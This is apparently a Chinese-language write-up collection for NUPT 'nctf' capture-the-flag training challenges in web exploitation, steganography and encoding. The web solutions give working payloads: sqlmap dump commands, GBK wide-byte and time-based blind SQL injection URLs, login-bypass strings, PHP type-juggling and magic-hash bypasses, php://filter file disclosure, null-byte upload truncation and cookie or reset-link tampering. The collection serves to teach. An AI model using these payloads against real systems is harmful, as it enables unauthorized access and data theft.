簽到題javascript
nctf{flag_admiaanaaaaaaaaaaa}php
ctrl+u或右鍵查看源代碼便可。在CTF比賽中,代碼註釋、頁面隱藏元素、超連接指向的其餘頁面、HTTP響應頭部均可能隱藏flag或提示信息。在滲透測試中,開發者留下的多餘註釋和測試頁面有時也能提供線索。html
nctf{md5_collision_is_easy}java
<?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
利用PHP弱類型,前人發現md5('QNKCDZO')='0e830400451993494058024219903391',md5('240610708')='0e462097431906509019562988736854',而由於使用鬆散比較的緣故,var_dump('0e830400451993494058024219903391'=='0e462097431906509019562988736854');值爲真,所以訪問 http://chinalover.sinaapp.com/web19/?a=240610708 便可。python
一、在PHP中,@被稱爲錯誤控制操做符(error control operator),前置@符號的表達式產生的任何錯誤都將被忽略。mysql
二、1992年發佈的MD5算法是一種普遍使用的哈希算法,最初被設計用來做爲加密算法,在被證實不安全後只能用來作數據完整性校驗。MD5算法爲消息產生128位摘要,常表示爲32位十六進制串,由[0-9a-e]組成。linux
三、PHP的比較操做符主要有兩類——鬆散比較和嚴格比較,因而就有了equal()和Identical(=)兩種相等,主要區別在於前者會在比較前根據上下文對操做數進行類型轉換(type juggling)然後者不會。這種juggle總的來講利大於弊,但確實容易玩脫。git
此處只談涉及字符串和數值的鬆散比較。根據本地實驗結合官方文檔,咱們能夠總結出來,這種類型轉換的行爲關鍵在於兩點,一是判斷字符串是否處於數字語境(in a numeric context),二是如何爲處於數字語境的字符串取值。github
當操做符爲==
時,如有一個操做數爲int/float
或兩個操做數is_numeric()
均爲真,則判斷爲處於數字語境;當操做符爲數字操做符,如+-/*
時,則判斷爲處於數字語境。(此段爲實驗支持下的我的猜想,未找到依據。)
根據PHP官方文檔 ,若是一個字符串被認定處於數字語境,那麼它的取值取決於字符串的前面一部分,若是字符串以有效的數字型數據【Valid numeric data ,正則匹配表達爲 \s(\d+\.?\d*|\.\d+)([eE]\d+)?\s
,含有[eE]的視爲科學計數法】開頭,那麼字符串取開頭部分的數值,不然取0 。實驗發現1e
也被取值爲1而不是0,這有點奇怪 :(
<?php $a1=1; $b1="1"; $c1="1padding"; $a2=.1; $b2=".1"; $c2=".1padding"; $a3=1.; $b3="1."; $c3="1.padding"; $a4=1.1; $b4="1.1"; $c4="1.1padding"; $a5=1.e1; $b5="1.e1"; $c5="1.e1padding"; $a6=.1e1; $b6=".1e1"; $c6=".1e1padding"; $a7=1.1e1; $b7="1.1e1"; $c7="1.1e1padding"; $a8=1e1; $b8="1e1"; $c8="1e1padding"; var_dump($a8==$b8);//true var_dump($a8==$c8);//true var_dump($b8==$c8);//false var_dump($a8+$b8);//float(20) var_dump($a8+$c8);//float(20) var_dump($b8+$c8);//float(20)
四、其餘符合/0[eE]\d{30}/
的MD5值:
STRING(STRLEN(VAR | STRING(STRLEN(MD5(VAR) |
---|---|
QNKCDZO | 0e830400451993494058024219903391 |
s878926199a | 0e545993274517709034328855841020 |
s155964671a | 0e342768416822451524974117254469 |
s1502113478a | 0e861580163291561247404381396064 |
s214587387a | 0e848240448830537924465865611904 |
s878926199a | 0e545993274517709034328855841020 |
s1091221200a | 0e940624217856561557816327384675 |
s1885207154a | 0e509367213418206700842008763514 |
s1836677006a | 0e481036490867661113260034900752 |
s1184209335a | 0e072485820392773389523109082030 |
s1665632922a | 0e731198061491163073197128363787 |
s532378020a | 0e220463095855511507588041205815 |
240610708 | 0e462097431906509019562988736854 |
<html> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 還沒有登陸或口令錯誤 <form action="./index.php" method="post"> <p>輸入框:<input type="password" value="" name="text1" maxlength="10"><br> 請輸入口令:zhimakaimen <input type="submit" value="開門"> </form> </html>
nctf{follow_me_to_exploit}
maxlength="10" 而口令 zhimakaimen 有11位,數據在前端就會被截斷掉。這時有兩種作法,一種是在chrome/Firefox瀏覽器的開發者工具中將 maxlength="10" 字段修改成 maxlength="11" 或是更大的值;另外一種是使用hackbar或burp直接向 http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php post text1=zhimakaimen 。客戶端的行爲都是可控的,因此熟悉HTML和JavaScript是重要的。
nctf{photo_can_also_hid3_msg}
下載圖片並用winhex打開,在末尾發現字符串。一個簡單的隱寫。
nctf{this_is_a_fl4g}
查看源代碼,跟隨連接,依次訪問SO.html
-> S0.html
->SO.htm
->S0.htm
->404.html
,在最後一個頁面裏的註釋部分可找到flag。仍是查看源代碼,細心就會發現異常。
nctf{javascript_aaencode}
aaencode是一種把js代碼編碼成日語顏文字的編碼方式,使用Unicode編碼查看,而後 在線解碼 。工具做者很有幽默感。
nctf{yougotit_script_now}
訪問 http://chinalover.sinaapp.com/web8/search_key.php 會被重定向到 http://chinalover.sinaapp.com/web8/no_key_is_here_forever.php ,重定向會被瀏覽器自動處理,burp抓包則可見flag。
你是從 google 來的嗎? 傳送門:題目地址
nctf{http_referer}
給請求加上referer: https://www.google.com
便可。從https://github.com/otakekumi/NUPT_Challenges/blob/master/WEB/%E4%BD%A0%E4%BB%8E%E5%93%AA%E9%87%8C%E6%9D%A5/index.php 看到源代碼可能有點問題。
<?php $referer = $_SERVER['referer']; if ($referer === "https://www.google.com/ " || $referer === "https://www.google.com"){ echo "nctf{http_referer}"; }else{ echo "are you from google?"; } ?>
第二行應該是$referer = $_SERVER['HTTP_REFERER'];
?
php decode
<?php function CLsI($ZzvSWE) { $ZzvSWE = gzinflate(base64_decode($ZzvSWE)); for ($i = 0; $i < strlen($ZzvSWE); $i++) { $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1); } return $ZzvSWE;} echo CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==");
nctf{gzip_base64_hhhhhh}
運行代碼便可。
nctf{edulcni_elif_lacol_si_siht}
使用PHP的filter協議讀取index.php,即訪問 http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/convert.base64-encode/resource=index.php ,將獲得的字符串base64解碼。
nctf{this_is302redirect}
flag藏在響應頭中。
nctf{download_any_file_666}
訪問 http://way.nuptzj.cn/web6/download.php?url=base64-of-file-name 能夠下載容許下載的任意文件,因此先下載download.php,獲得白名單列表裏有hereiskey.php,再下載下來就可見flag。
nctf{cookie_is_different_from_session}
看到響應頭中有Set-Cookie: Login=0
,所以在請求頭加入Cookie: Login=1
便可。
nctf{query_in_mysql}
根據提示查看robots.txt,內容以下
TIP:sql.php <?php if($_GET[id]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $id = intval($_GET[id]); $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'")); if ($_GET[id]==1024) { echo "<p>no! try again</p>"; } else{ echo($query[content]); } } ?>
說明要向sql.php提交一個id,使得intval($_GET[id])
爲1024而$_GET[id]==1024
爲假。intval識別到非數字的那一位,而鬆散比較前的強制類型轉換會把e
看成科學計數法的一部分處理,因此能夠提交id=1024e1
等,如訪問http://chinalover.sinaapp.com/web11/sql.php?id=1024e1
。
一、robots.txt可能藏有提示
二、
int intval ( mixed $var [, int $base = 10 ] )
只取/\d*/
的部分。
nctf{gbk_3sqli}
分別訪問id=2
和id=3
獲得提示gbk_sql_injection
和the fourth table
,因此是存在寬字節注入,flag在第四個表裏面。上sqlmap跑一跑,最後一步是這樣:
python sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6'" -T ctf4 -C flag --dump
也能夠手注:
步驟一:確認該點存在注入
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2 和 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6%27--+ 返回結果相同。 因爲MySQL執行查詢時會跳過畸形字符,而 id=2%d6%27--+ 通過轉義變爲id=2%d6%5c%27--+ , 其中%d6%5c被合在一塊兒解釋,也就是id = '2Ö'-- 效果等價於 id = '2'--,但咱們得到了執行sql的機會。
步驟二:查詢數據庫名
發現支持union查詢 , http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6%27+and+0+union+select+null,database()--+ ,之因此要加and+0+是由於顯示點只有一處,必須讓原來的查詢失敗。獲得數據庫名爲'sae-chinalover'。
步驟三:查詢名爲'sae-chinalover'的數據庫的表的數量和名字
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,count(*)+from+information_schema.tables+where+table_schema=database()--+ 獲得目前的數據庫含有5張表 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,table_name+from+information_schema.tables+where+table_schema=database()+limit+3,1--+ 獲得第四張表表名爲'ctf4' MySQL的information_schema數據庫包含全部數據庫的元信息,其中的tables表包含其餘數據庫的數據庫名、表名、表類型、建立時間等許多信息,其中table_schema列爲數據庫名,table_name列爲表名。由於能顯示出來的記錄有限,因此必須用limit來控制要顯示第幾條記錄,不然只能顯示第一條。 limit用法是這樣LIMIT {[offset,] row_count | row_count OFFSET offset},必須放在where後面。
步驟四:查詢表'ctf4'中的flag
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,count(*)+from+ctf4--+ 發現該表只有一條記錄 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,flag+from+ctf4--+ 猜想列名爲flag,查詢獲得flag
附一個select查詢語法
SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROM table_references [PARTITION partition_list] [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [INTO OUTFILE 'file_name' [CHARACTER SET charset_name] export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]] [FOR UPDATE | LOCK IN SHARE MODE]]
nctf{use00to_jieduan}
訪問獲得源碼
if (isset ($_GET['nctf'])) { if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) echo '必須輸入數字才行'; else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '騷年,繼續努力吧啊~'; }
要求提交的nctf的值符合正則匹配(一個或多個數字)而且能被strpos找到#biubiubiu
,根據提示查到資料ereg會把null視爲字符串的結束,從而被%00截斷,而strpos則能夠越過%00,因此提交nctf=1%00%23biubiubiu
便可。
因爲在PHP中string的實現本質上是一個以字節爲單位的數組加上一個聲明緩衝區長度的整形,所以string類型能夠由任何值構成,即便是「NUL bytes」,但PHP中有些底層庫(好比C語言相關的,由於C語言中\0標識字符串的結束)會忽略"a NUL byte"後面的數據,使用了這些庫的函數就是非二進制安全的(non-binary-safe),ereg就是一個例子。閒着無聊搜了一下發現還有這麼一些函數:
int strcoll ( string str2 )Locale based string comparison (when current locale is not C or POSIX)
public array TokyoTyrantTable::get ( mixed $keys )Gets a row from table database. (version>0.3.0)
public Exception::__construct ([ string code = 0 [, Throwable $previous = NULL ]]] )Construct the exception 。其中對message的處理是非二進制安全的。
public Error::__construct ([ string code = 0 [, Throwable $previous = NULL ]]] )Construct the error object 。其中對message的處理是非二進制安全的。
bool error_log ( string message_type = 0 [, string extra_headers ]]] )Sends an error message to the web server's error log or to a file.。其中對message的處理是非二進制安全的。(error_log() is not binary safe. message will be truncated by null character.)
bool radius_put_string ( resource type , string options = 0 [, int $tag ]] )Attaches a string attribute。 其中$value值基於會被null截斷的底層庫,是非二進制安全的。
bool radius_put_vendor_string ( resource vendor , int value [, int tag ]] )Attaches a vendor specific string attribute 。$value是非二進制安全的。
string addcslashes ( string charlist ) (存疑,彷佛並非)Quote string with slashes in a C style. Returns a string with backslashes before characters that are listed in charlist parameter.
array gzfile ( string use_include_path = 0 ] ) (存疑,待驗證)Read entire gz-file into an array
還有這些
<?php $s=$_REQUEST['a']; // http://localhost/test.php?a=asd%00asdf $p='asdf'; var_dump(ereg_replace($p,'abcc',$s)); //string(3) "asd" var_dump(eregi_replace($p,'abcc',$s));//string(3) "asd" var_dump(ereg($p,$s));//bool(false) var_dump(eregi($p,$s));//bool(false) var_dump(split($p,$s));//array(1) { [0]=> string(8) "asd\0asdf" } var_dump(split($p,$s));//array(1) { [0]=> string(8) "asd\0asdf" } var_dump(sql_regcase($s)); //看起來沒問題啊。。。string(29) "[Aa][Ss][Dd]\0[Aa][Ss][Dd][Ff]" // ereg_replace — Replace regular expression // ereg — Regular expression match // eregi_replace — Replace regular expression case insensitive // eregi — Case insensitive regular expression match // split — Split string into array by regular expression // spliti — Split string into array by regular expression case insensitive // sql_regcase — Make regular expression for case insensitive match
nctf{php_is_so_cool}
訪問獲得源碼
if (isset($_GET['a']) and isset($_GET['b'])) { if ($_GET['a'] != $_GET['b']) if (md5($_GET['a']) === md5($_GET['b'])) die('Flag: '.$flag); else print 'Wrong.'; }
源碼要求提交兩個不相等的值使他們的md5值嚴格相等。md5()函數要求接收一個字符串,若傳遞進去一個數組,則會返回null,即var_dump(md5(array(2))===null);
值爲bool(true)
,所以向$_GET數組傳入兩個名爲a、b的不相等的數組,從而致使md5()均返回空,因而獲得flag,如訪問 http://chinalover.sinaapp.com/web17/index.php?a[]=&b[]=1
nctf{bian_liang_fu_gai!}
source.php核心代碼以下
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { extract($_POST); if ($pass == $thepassword_123) echo $theflag; }
extract()函數原型爲int extract(array &$var_array [,int $extract_type=EXTR_OVERWRITE [,string $prefix = NULL]])
,從數組中將變量導入當前符號表,$extract_type
缺省值爲1,若沒有另外指定,函數將覆蓋已有變量,故傳入任意pass和與之相等的thepassword_123便可。其實咱們甚至能夠覆蓋theflag變量,可是那樣就拿不到真正的flag了 :D。source.php包含源碼。
nctf{php_is_best_language}
index.txt核心代碼以下
<?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; }
網頁會拒絕任何含有hackerDJ
的提交(忽略大小寫),但接受urldecode後爲hackerDJ
的字符串,因此按照對照表編碼,並將%
編碼爲%25
後提交,自動解碼一次後%25
變爲%
,代碼中再解碼一次後便獲得flag。即訪問 http://way.nuptzj.cn/php/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a 這是個二次編碼的問題。
假裝者
這是一個處處都有着假裝的世界 題目地址:點我
nctf{happy_http_headers}
referer改了沒用,聽說請求頭添加X-Forwarded-For: 127.0.0.1
便可,沒有成功,懷疑服務端代碼有問題,多是和你從哪裏來
那題同樣的問題。XFF頭用以標誌客戶端真實IP,經常使用在使用HTTP 代理或者負載均衡服務時。
nctf{tips_often_hide_here}
使用chrome瀏覽器的開發者工具能夠看到相應數據包的頭部有flag字段,其值即flag。
上傳繞過
題目地址:猜猜代碼怎麼寫的
nctf{welcome_to_hacks_world}
當filename爲1.jpg時返回以下:
Array ( [0] => .jpg [1] => jpg ) Upload: 1.jpg<br />Type: text/plain<br />Size: 0.0078125 Kb<br />Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) { ["dirname"]=> string(9) "./uploads" ["basename"]=> string(5) "1.jpg" ["extension"]=> string(3) "jpg" ["filename"]=> string(1) "1" } <br>必須上傳成後綴名爲php的文件才行啊!<br></body>
當filename爲1.php時返回以下:
Array ( [0] => .php [1] => php ) 不被容許的文件類型,僅支持上傳jpg,gif,png後綴的文件
觀察源碼爲:
文件上傳<br><br> <form action="upload.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="hidden" name="dir" value="/uploads/" /> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form>
由於最後應該是dir和file鏈接,因此能夠經過修改隱藏元素dir的value來實現截斷上傳。即抓包後修改
/uploads/
爲/uploads/1.php0x00
,而後file保持1.jpg
,連起來後就是/uploads/1.php%001.jpg
,則既繞過了白名單驗證又上傳了PHP後綴的文件。(0x00是指修改16進制值,不可見。)
sql注入1
據說你也會注入? 地址: 題目地址
nctf{ni_ye_hui_sql?}
在 http://chinalover.sinaapp.com/index.phps 查看源碼,核心部分以下:
<?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim($_POST[user]); $pass = md5(trim($_POST[pass])); $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; echo '</br>'.$sql; $query = mysql_fetch_array(mysql_query($sql)); if($query[user]=="admin") { echo "<p>Logged in! flag:******************** </p>"; } if($query[user] != "admin") { echo("<p>You are not admin!</p>"); } } echo $query[user];
會對傳入參數兩端去空格,而後sql拼接以下
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
,
因此只要用構造一下user的值,使語法無誤,而後註釋掉後面的便可。MySQL主要有三種註釋方式#
註釋到行尾,/*bla*/
用於行間或多行註釋,--
也是註釋到行尾,但須要注意的是在兩個減號後面至少要有一個\s
,也就是空格,TAB,換行符等。
因此本題可post user=admin')-- -&pass=123
或user=admin')#&pass=123
,
sql語句就變成select user from ctf where (user='admin')#' and (pw='123')
,
查詢語句就能成功返回user列,值爲admin的那條記錄。
nctf{strcmp_is_n0t_3afe}
<?php $pass=@$_POST['pass']; $pass1=***********;//被隱藏起來的密碼 if(isset($pass)) { if(@!strcmp($pass,$pass1)){ echo "flag:nctf{*}"; }else{ echo "the pass is wrong!"; } }else{ echo "please input pass!"; } ?>
考察PHP弱類型,從PHP社區文檔的註解能夠發現strcmp函數在比較失敗,即傳入數組,時會返回null。(還有一個比較有意思的是當有一個字符串長度爲0時,返回的是相互比較的兩個字符串長度的差值。)因此post的數據爲pass[]=
起名字真難
nctf{follow_your_dream}
<?php function noother_says_correct($number) { $one = ord('1'); $nine = ord('9'); for ($i = 0; $i < strlen($number); $i++) { $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { return false; } } return $number == '54975581388'; } $flag='*******'; if(noother_says_correct($_GET['key'])) echo $flag; else echo 'access denied'; ?>
要求傳入key不包含[1-9],但又等於54975581388,考慮轉十六進制,發現54975581388=0xccccccccc
,
所以訪問 http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
密碼重置
重置管理員帳號:admin 的密碼
你在點擊忘記密碼以後 你的郵箱收到了這麼一封重置密碼的郵件:
點擊此連接重置您的密碼
nctf{reset_password_often_have_vuln
修改重置連接的URL和POST中對應參數爲admin相關的便可。
即向 http://nctf.nuptzj.cn/web13/index.php?user1=YWRtaW4%3D post user=admin&newpass=aaaaa&vcode=1234 。
<?php class just4fun { var $enter; var $secret; } if (isset($_GET['pass'])) { $pass = $_GET['pass']; if(get_magic_quotes_gpc()){ $pass=stripslashes($pass); } $o = unserialize($pass); if ($o) { $o->secret = "*"; if ($o->secret === $o->enter) echo "Congratulation! Here is my secret: ".$o->secret; else echo "Oh no... You can't fool me"; } else echo "are you trolling?"; }
連接失效,本地搭建環境實驗。反序列化後的secret成員被賦予未知的值卻要求另外一成員enter其值與之相同,
從官方文檔看到這麼一句
Circular references inside the array/object you are serializing will also be stored
,
說明對象包含的引用在序列化時也會被存儲,因此若是enter指向secret的引用,兩個成員的值就能夠同步變化了。
<?php class just4fun{ var $secret; var $enter ; } $f=new just4fun(); $f->enter=&$f->secret; $sf=serialize($f); print_r($sf); $usf=unserialize($sf); echo '<br/>'; print_r($usf);
輸出以下
O:8:"just4fun":2:{s:6:"secret";N;s:5:"enter";R:2;} just4fun Object ( [secret] => [enter] => )
訪問
http://127.0.0.1/nanyou.php?pass=O:8:%22just4fun%22:2:{s:6:%22secret%22;N;s:5:%22enter%22;R:2;}
驗證成功。
別處看到flag爲nctf{serialize_and_unserialize}
sql injection4
繼續注入吧~ 題目地址
TIP:反斜槓能夠用來轉義 仔細查看相關函數的用法
nctf{sql_injection_is_interesting}
頁面源代碼註釋中有SQL構造方式:
#GOAL: login as admin,then get the flag; error_reporting(0); require 'db.inc.php'; function clean($str){ if(get_magic_quotes_gpc()){ $str=stripslashes($str); } return htmlentities($str, ENT_QUOTES); } $username = @clean((string)$_GET['username']); $password = @clean((string)$_GET['password']); $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; $result=mysql_query($query); if(!$result || mysql_num_rows($result) < 1){ die('Invalid password!'); } echo $flag;
核心函數是htmlentities($str, ENT_QUOTES)
,函數原型是這樣
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )
參數flags缺省狀況下與$flags=ENT_QUOTES
狀況下函數行爲不一樣,
選值爲ENT_QUOTES
時Will convert both double and single quotes
,
也就是說,前者不會將單引號編碼然後者會。咱們的最終目標是平衡引號,從而使查詢語句語法正確,既然沒法輸入單引號,就消滅單引號。
訪問http://chinalover.sinaapp.com/web15/index.php?username=\&password=%20or%201%23
,
也就是構造payload爲?username=\&password=%20or%201%23
,使得查詢語句以下:
SELECT * FROM users WHERE name='\' AND pass='%20or%201%23' 即 SELECT * FROM users WHERE name='\' AND pass=' 『 [name]的值爲 [' AND pass=] ,顯然邏輯值爲false 』 or 1 『 但不要緊,[false or 1] 的邏輯值爲真』 #' 『 註釋掉多餘的單引號 』 即 select * from users where false or 1
附:
具體編碼方式可以使用
print_r(get_html_translation_table($table =HTML_ENTITIES,$flags=ENT_QUOTES))
查看,
ENT_COMPAT | ENT_HTML401 |
ENT_QUOTES |
---|---|
[&] => & |
[&] => & |
["] => " |
["] => " |
[<] => < |
['] => ' |
[>] => > |
[<] => < |
... | [>] => > |
共100個 | 共101個 |
nctf{bash_history_means_what}
一、訪問連接獲得一大段jsfuck代碼,解碼後獲得document.write("1bc29b36f623ba82aaf6724fd3b16718.php")
;
二、訪問 http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php 在HTTP響應頭獲得提示tip:history of bash
;
三、訪問 http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history ,看到頁面內容爲zip -r flagbak.zip ./*
;
四、訪問 http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip 獲得flag。
sql 注入2
注入第二題~~主要考察union查詢 傳送門:點我帶你飛
ntcf{union_select_is_wtf}
index/phps
中有源碼以下
<?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user]; $pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { echo "<p>Logged in! Key: ntcf{**************} </p>"; } else { echo("<p>Log in failure!</p>"); } } ?>
由於
var_dump(!strcasecmp(array(), $query[pw]));//bool(true) var_dump(!strcasecmp(md5(array()), $query[pw]));//bool(false)
因此無法用把pass做爲數組傳進去的伎倆。另外雖然第七行的$user
處存在注入,但輸出沒有回顯。想到基於時間延遲的盲注。主要用到三個函數,mid(),if()和sleep():
MID(str,pos,len) /*需注意pos從1而不是0開始,Return a substring starting from the specified position*/ IF(expr1,expr2,expr3) /*If expr1 is TRUE (expr1 <> 0 and expr1 <> NULL), IF() returns expr2. Otherwise, it returns expr3.*/ SLEEP(duration) /*Sleeps (pauses) for the number of seconds given by the duration argument, then returns 0.If SLEEP() is interrupted, it returns 1. The duration may have a fractional part.*/
因此構造post數據
user=admin' and if(mid(pw,1,1)>'9',sleep(2),1)#&pass=blabla
若是if()
函數的expr1
正確,頁面響應就會延時兩秒,不然不會,以此爲依據採用二分法調整。
pw
字段的取值範圍爲/[\da-e]/
,
最後注處字段值爲21dd715a3605b2a4053e80387116c190
,即md5('njupt')
而後postuser=admin&pass=njupt
便可。
index.phps藏源碼。
查到另外一種簡單的作法,即post以下數據 user=' union select '45cf93bd4f762c6597b68e615b153bd0'#&pass=findneo 其中'45cf93bd4f762c6597b68e615b153bd0'即md5('findneo')這纔是出題者的本意。我以爲這個作法很妙,看似理所固然的代碼邏輯實際上不堪一擊。
綜合題2
非xss題 可是歡迎留言~ 地址:get the flag
flag:nctf{you_are_s0_g00d_hacker}
注入實戰一
請使用firefox瀏覽器,並安裝hackbar插件(自行百度並熟悉) 目標網址:地址 flag爲管理員密碼的32位md5(小寫) 而且加上nctf{}
手注教程羣裏面發過。 看不懂的話自行百度"mysql手動注入"查閱相關文章
PS:用sqlmap等工具作的就不要厚臉皮提交了
題目貌似壞了,放個 4ct10n 的解答吧。
密碼就在上圖BSCmarketing24 而後再md5加密成 f3d6cc916d0739d853e50bc92911dddb flag: nctf{f3d6cc916d0739d853e50bc92911dddb}
密碼重置2
題題被秒,當時我就不樂意了! 本題來源於CUMT 題目連接
TIPS: 1.管理員郵箱觀察一下就能夠找到 2.linux下通常使用vi編輯器,而且異常退出會留下備份文件 3.弱類型bypass
nctf{thanks_to_cumt_bxs}
一、按照提示,源碼中看到管理員郵箱爲admin@nuptzj.cn
;
二、wget http://nctf.nuptzj.cn/web14/.submit.php.swp
;
三、
if(!empty($token)&&!empty($emailAddress)){ if(strlen($token)!=10) die('fail'); if($token!='0') die('fail'); $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'"; $r = mysql_query($sql) or die('db error'); $r = mysql_fetch_assoc($r); $r = $r['num']; if($r>0){ echo $flag; }else{ echo "失敗了呀"; } }
要求token長度爲10且token!='0'
爲假,可利用弱類型(含有數字內容的字符串也會被轉換類型,因此'0e123'=='0'
值爲真)繞過,訪問 http://nctf.nuptzj.cn/web14/submit.php?emailAddress=admin%40nuptzj.cn&token=0e12345678 便可。
圖種
flag是動態圖最後一句話的拼音首字母 加上nctf{}
nctf{dssdcmlw}
binwalk -e 555.gif
分離出一張233333.gif,動態圖的最後一幀的最後一句話是 都深深的出賣了我
丘比龍De女神
丘比龍是丘比特的弟弟,因爲吃了太多的甜甜圈致使他飛不動了!
沒錯 裏面隱藏了一張女神的照片 flag是照片文件的md5值(小寫) 記住加上flag{}
文件尾有nvshen.jpg字樣,故搜索字符串nvshen,共出現兩次,猜想從第一次出現位置上方的love起到文件末尾爲一個密碼爲love的壓縮包,複製出來後修改6C6F7665
爲504b0304
,解壓獲得女神的照片。
flag{a6caad3aaafa11b6d5ed583bef4d8a54}
easy!
密文:bmN0Znt0aGlzX2lzX2Jhc2U2NF9lbmNvZGV9 這題作不出來就剁手吧!
nctf{this_is_base64_encode}
在Linux命令行輸入echo bmN0Znt0aGlzX2lzX2Jhc2U2NF9lbmNvZGV9 | base64 -d
便可
keyboard
看鍵盤看鍵盤看鍵盤! 答案非標準格式,提交前加上nctf{} ytfvbhn tgbgy hjuygbn yhnmki tgvhn uygbnjm uygbn yhnijm
觀察題幹字符串在鍵盤上的位置構成的軌跡。
nctf{areuhack}
base64全家桶
全家桶全家桶全家桶! 我怎麼餓了。。。。。。 密文(解密前刪除回車):
R1pDVE1NWlhHUTNETU4yQ0dZWkRNTUpYR00zREtNWldHTTJES 1JSV0dJM0RDTlpUR1kyVEdNWlRHSTJVTU5SUkdaQ1RNTkJWSVk zREVOUlJHNFpUTU5KVEdFWlRNTjJF
按base6四、base3二、base16的順序解碼一遍便可。
nctf{base64 _ base32_and_base16}
import base64 as b s='**' while 1: s=b.b64decode(s) print s
nctf{please_use_python_to_decode_base64}
騷年來一發嗎
密文:iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas
function encode($str){ $_o=strrev($str); for($_0=0;$_0<strlrn($_o),$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)+1; $_c=chr($__); $_=$_.$_c; } return str_rot13(strrev(base64_encode($_))); }
encode函數先反轉明文字符串,再逐字符加一,而後base64編碼,再反轉,再rot13,而後返回加密後的字符串。
<?php $s="iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas"; function decode($str){ $strtmp=base64_decode(strrev(str_rot13($str))); $res=''; for($i=0;$i<strlen($strtmp);$i++){ $res.=chr(ord(substr($strtmp, $i,1))-1); } return strrev($res); } echo decode($s);
nctf{rot13and_base64and_strrev}
多重base64加密,幹(sang)得(xin)漂(bing)亮(kuang)!
import random from base64 import * result={ '16':lambda x:b16encode(x), '32':lambda x:b32encode(x), '64':lambda x:b64encode(x) } flag=b"{nctf{***}" for i in range(10): a=random.choice(['16','32','64']) flag=result[a](flag) with open("code.txt",'wb')as f: f.write(flag)
解碼代碼:
from base64 import b64decode, b32decode, b16decode with open('code.txt', 'r') as f: c = f.read() def trys(s): for f in [b64decode, b32decode, b16decode]: try: t = f(s) if t[:4] == "nctf": print t return 0 else: trys(t) except: pass trys(c)
nctf{random_mixed_base64_encode}
同性真愛,異性相吸都是假的! (題目要求,我是直的)
解密壓縮文件裏的內容
TIPS: 1.xor 2.hex2binary 3.len(bin(miwen))==len(bin(mingwen))
c=open('密文.txt').read() p=open('明文.txt').read() s='' for i in range(len(c)): s+=chr(ord(c[i])^ord(p[i])) print s
